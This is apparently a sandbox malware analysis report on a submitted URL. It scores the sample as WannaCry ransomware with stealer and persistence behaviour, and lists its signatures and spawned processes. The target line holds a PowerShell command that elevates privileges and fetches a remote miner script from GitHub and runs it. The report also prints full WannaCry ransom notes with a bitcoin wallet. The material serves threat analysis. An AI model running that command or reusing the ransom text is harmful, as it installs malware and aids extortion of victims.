Overview

overview

10

Static

static

1

URLScan

urlscan

http://start-process...

windows10-2004-x64

Analysis

  • max time kernel
    556s
  • max time network
    556s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 14:41

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
10/10
wannacrydefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealerworm

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Extracted

Path

C:\Users\Admin\Desktop\msg\m_english.wnry

Ransom Note
{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;} {\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;} {\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;} {\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;} {\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;} {\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;} {\fhiminor\f31506\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f540\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} {\f541\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f543\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f544\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f545\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} {\f546\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f547\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f548\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f550\fbidi \fswiss\fcharset238\fprq2 Arial CE;} {\f551\fbidi \fswiss\fcharset204\fprq2 Arial Cyr;}{\f553\fbidi \fswiss\fcharset161\fprq2 Arial Greek;}{\f554\fbidi \fswiss\fcharset162\fprq2 Arial Tur;}{\f555\fbidi \fswiss\fcharset177\fprq2 Arial (Hebrew);} {\f556\fbidi \fswiss\fcharset178\fprq2 Arial (Arabic);}{\f557\fbidi \fswiss\fcharset186\fprq2 Arial Baltic;}{\f558\fbidi \fswiss\fcharset163\fprq2 Arial (Vietnamese);}{\f880\fbidi \froman\fcharset238\fprq2 Cambria Math CE;} {\f881\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;}{\f883\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;}{\f884\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f887\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;} {\f888\fbidi \froman\fcharset163\fprq2 Cambria Math (Vietnamese);}{\f910\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\f911\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\f913\fbidi \froman\fcharset161\fprq2 Cambria Greek;} {\f914\fbidi \froman\fcharset162\fprq2 Cambria Tur;}{\f917\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\f918\fbidi \froman\fcharset163\fprq2 Cambria (Vietnamese);}{\f950\fbidi \fmodern\fcharset238\fprq1 Consolas CE;} {\f951\fbidi \fmodern\fcharset204\fprq1 Consolas Cyr;}{\f953\fbidi \fmodern\fcharset161\fprq1 Consolas Greek;}{\f954\fbidi \fmodern\fcharset162\fprq1 Consolas Tur;}{\f957\fbidi \fmodern\fcharset186\fprq1 Consolas Baltic;} {\f958\fbidi \fmodern\fcharset163\fprq1 Consolas (Vietnamese);}{\f1072\fbidi \fmodern\fcharset0\fprq1 GulimChe Western;}{\f1070\fbidi \fmodern\fcharset238\fprq1 GulimChe CE;}{\f1071\fbidi \fmodern\fcharset204\fprq1 GulimChe Cyr;} {\f1073\fbidi \fmodern\fcharset161\fprq1 GulimChe Greek;}{\f1074\fbidi \fmodern\fcharset162\fprq1 GulimChe Tur;}{\f1077\fbidi \fmodern\fcharset186\fprq1 GulimChe Baltic;}{\f1082\fbidi \fmodern\fcharset0\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc Western;} {\f1080\fbidi \fmodern\fcharset238\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc CE;}{\f1081\fbidi \fmodern\fcharset204\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc Cyr;}{\f1083\fbidi \fmodern\fcharset161\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc Greek;} {\f1084\fbidi \fmodern\fcharset162\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc Tur;}{\f1087\fbidi \fmodern\fcharset186\fprq1 @\'b1\'bc\'b8\'b2\'c3\'bc Baltic;}{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} {\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;} {\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;} {\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31520\fbidi \fmodern\fcharset0\fprq2 Malgun Gothic Western;}{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;} {\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;} {\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fhimajor\f31536\fbidi \froman\fcharset163\fprq2 Cambria (Vietnamese);}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} {\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;} {\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;} {\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} {\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} {\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} {\fdbminor\f31560\fbidi \fmodern\fcharset0\fprq2 Malgun Gothic Western;}{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;} {\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;} {\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} {\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} {\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} {\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; \red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;}{\*\defchp \fs22\loch\af31506\hich\af31506\dbch\af31505 }{\*\defpap \ql \li0\ri0\sa200\sl276\slmult1 \widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \fs22\lang1033\langfe1042\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp1042 \snext0 \sqformat \spriority0 \styrsid1847526 Normal;}{\*\cs10 \additive \ssemihidden \sunhideused \spriority1 Default Paragraph Font;}{\* \ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\trcbpat1\trcfpat1\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \ql \li0\ri0\sa200\sl276\slmult1 \widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1033\langfe1042\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp1042 \snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\s15\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af41\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe1042\loch\f41\hich\af41\dbch\af31505\cgrid\langnp1033\langfenp1042 \sbasedon0 \snext15 \slink16 \sunhideused \styrsid5268979 Plain Text;}{\*\cs16 \additive \rtlch\fcs1 \af41\afs21 \ltrch\fcs0 \f41\fs21 \sbasedon10 \slink15 \slocked \styrsid5268979 Plain Text Char;}}{\*\rsidtbl \rsid1847526\rsid2183709\rsid5268979\rsid5733561\rsid11488848\rsid14178431\rsid14237745\rsid14313477\rsid14432744}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1 \mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Messi}{\operator Messi}{\creatim\yr2017\mo5\dy11\hr13\min53}{\revtim\yr2017\mo5\dy11\hr14\min42}{\version4}{\edmins4}{\nofpages1}{\nofwords296}{\nofchars1385}{\nofcharsws1678} {\vern32775}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1701\margb1440\gutter0\ltrsect \widowctrl\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont1\relyonvml0\donotembedlingdata0\grfdocevents0\validatexml1\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors1\noxlattoyen \expshrtn\noultrlspc\dntblnsbdb\nospaceforul\formshade\horzdoc\dgmargin\dghspace180\dgvspace180\dghorigin1501\dgvorigin1701\dghshow1\dgvshow1 \jexpand\viewkind1\viewscale140\pgbrdrhead\pgbrdrfoot\splytwnine\ftnlytwnine\htmautsp\nolnhtadjtbl\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct \asianbrkrule\rsidroot1847526\newtblstyruls\nogrowautofit\usenormstyforlist\noindnmbrts\felnbrelev\nocxsptable\indrlsweleven\noafcnsttbl\afelev\utinl\hwelev\spltpgpar\notcvasp\notbrkcnstfrctbl\notvatxbx\krnprsnet\cachedcolbal \nouicompat \fet0 {\*\wgrffmtfilter 2450}\nofeaturethrottle1\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid5268979\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \hich .}}{\*\pnseclvl2 \pnucltr\pnstart1\pnindent720\pnhang {\pntxta \hich .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \hich .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta \hich )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \hich (} {\pntxta \hich )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \hich (}{\pntxta \hich )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \hich (}{\pntxta \hich )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \hich (} {\pntxta \hich )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \hich (}{\pntxta \hich )}}\pard\plain \ltrpar\s15\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid5268979 \rtlch\fcs1 \af41\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe1042\loch\af41\hich\af41\dbch\af31505\cgrid\langnp1033\langfenp1042 {\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs28\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 What Happened to My Computer? \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs24\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 Y}{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 our important files are encrypted. \par \hich\af31502\dbch\af53\loch\f31502 Many of your documents, photos, videos, databases and other files are no longer accessibl\hich\af31502\dbch\af53\loch\f31502 e because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service. \par \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs28\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 Can I Recover My Files? \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs24\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 S}{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 ure. We guarantee that you can recover all y\hich\af31502\dbch\af53\loch\f31502 our files safely and easily. But you have not so enough time. \par \hich\af31502\dbch\af53\loch\f31502 You can decrypt some of your files for free. Try now by clicking <Decrypt>. \par \hich\af31502\dbch\af53\loch\f31502 But if you want to decrypt all your files, you need to pay. \par \hich\af31502\dbch\af53\loch\f31502 You only have 3 days to submit the payment. After that the\hich\af31502\dbch\af53\loch\f31502 price will be doubled. \par \hich\af31502\dbch\af53\loch\f31502 Also, if you don't pay in 7 days, you won't be able to recover your files forever. \par \hich\af31502\dbch\af53\loch\f31502 We will have free events for users who are so poor that they couldn't pay in 6 months. \par \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs28\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 How Do I Pay? \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs24\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 P}{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 ayment is accepted in Bitcoin only. For more i\hich\af31502\dbch\af53\loch\f31502 nformation, click <About bitcoin>. \par \hich\af31502\dbch\af53\loch\f31502 Please check the current price of Bitcoin and buy some bitcoins. For more information, click <How to buy bitcoins>. \par \hich\af31502\dbch\af53\loch\f31502 And send the correct amount to the address specified in this window. \par \hich\af31502\dbch\af53\loch\f31502 After your payment, click <Check Pay\hich\af31502\dbch\af53\loch\f31502 ment>. Best time to check: 9:00am - 11:00am GMT from Monday to Friday. \par \hich\af31502\dbch\af53\loch\f31502 Once the payment is checked, you can start decrypting your files immediately. \par \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \b\fs28\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 Contact \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 If you need our assistance, send a message by clicking <Contact Us>. \par \par }{\rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\cf6\loch\af31502\hich\af31502\dbch\af53\insrsid14313477\charrsid5733561 \hich\af31502\dbch\af53\loch\f31502 We strongly recommend you to\hich\af31502\dbch\af53\loch\f31502 not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If your anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!}{ \rtlch\fcs1 \af1\afs22 \ltrch\fcs0 \fs22\cf6\loch\af31502\hich\af31502\dbch\af53\insrsid5268
URLs

http://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1701\margb1440\gutter0\ltrsect

Extracted

Path

C:\Users\Admin\Desktop\r.wnry

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send %s to this bitcoin address: %s Next, please find an application file named "%s". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.

Signatures

  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Wannacry family
    wannacry
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Drops file in Drivers directory 64 IoCs
  • Manipulates Digital Signatures 4 IoCs

    Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 1 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

    persistence
  • Drops startup file 2 IoCs
  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 9 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 31 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Drops autorun.inf file 1 TTPs 1 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 64 IoCs
  • Modifies termsrv.dll 1 TTPs 1 IoCs

    Commonly used to allow simultaneous RDP sessions.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
    defense_evasionprivilege_escalation
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 11 IoCs
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 7 IoCs
    evasion

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
    1⤵
    • Access Token Manipulation: Create Process with Token
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff6e146f8,0x7ffff6e14708,0x7ffff6e14718
      2⤵
        PID:5068
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
        2⤵
          PID:4724
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4504
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2640 /prefetch:8
          2⤵
            PID:1800
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3172 /prefetch:1
            2⤵
              PID:2932
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1
              2⤵
                PID:1028
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:1
                2⤵
                  PID:2924
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3540 /prefetch:1
                  2⤵
                    PID:1848
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
